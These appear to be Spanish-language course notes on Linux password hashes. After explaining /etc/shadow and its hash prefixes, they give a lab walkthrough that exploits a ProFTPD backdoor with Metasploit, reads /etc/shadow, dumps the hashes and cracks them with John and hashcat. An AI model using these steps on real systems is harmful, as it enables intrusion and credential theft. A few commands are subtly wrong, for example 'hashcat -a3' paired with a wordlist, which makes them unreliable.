Linux Password Hashes

Linux tiene soporte para múltiples usuarios y, como resultado, varios usuarios pueden acceder al sistema simultáneamente. Esto puede verse como una ventaja y una desventaja desde una perspectiva de seguridad, ya que varias cuentas ofrecen múltiples vectores de acceso para los atacantes y, por lo tanto, aumentan el riesgo general del servidor.

Toda la información de todas las cuentas en Linux se almacena en el archivo passwd ubicado en: /etc/passwd

No podemos ver las contraseñas de los usuarios en el archivo passwd porque están encriptadas y cualquier usuario del sistema puede leer el archivo passwd.

Todas las contraseñas encriptadas de los usuarios se almacenan en el archivo shadow. Se puede encontrar en el siguiente directorio: /etc/shadow

Solo la cuenta raíz puede acceder y leer el archivo shadow, esta es una característica de seguridad muy importante ya que evita que otras cuentas del sistema accedan a las contraseñas cifradas.

El archivo shadow nos brinda información sobre el algoritmo de hash que se está utilizando y el hash de la contraseña. Esto es muy útil ya que podemos determinar el tipo de algoritmo de hash que se está utilizando y su solidez. Podemos determinar esto observando el número que aparece después del nombre de usuario encapsulado por el símbolo de dólar (S).

Value	Hashing Algorithm
$1	MD5
$2	Blowfish
$5	SHA-256
$6	SHA-512

Demo: Dumping & Cracking Linux Password Hashes

nmap -sv 192.234.199.3
searchsploit ProFTPD

# Inicializamos MSF
msf5 > setg RHOSTS 192.234.199.3
msf5 > search ProFTPD
msf5 > use exploit/unix/ftp/proftpd_133c backdoor
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

/bin/bash -i
cat /etc/shadow

# Proceso si el algoritomo es SHA 512
# Copiar todo el Hash

# Tambien puede utiulizar metasploit
msf5 > use post/linux/gather/hashdump
msf5 post(linux/gather/hashdump) > show options
msf5 post(linux/gather/hashdump) > set SESSION 2
msf5 post(linux/gather/hashdump) > run

# Opcion 1
gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=sha512crypt /root/hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Opcion 2
hashcat -a3 -m 1800  /root/hashes.txt /usr/share/wordlists/rockyou.txt

Quiz: Dumping & Cracking Linux Password Hashes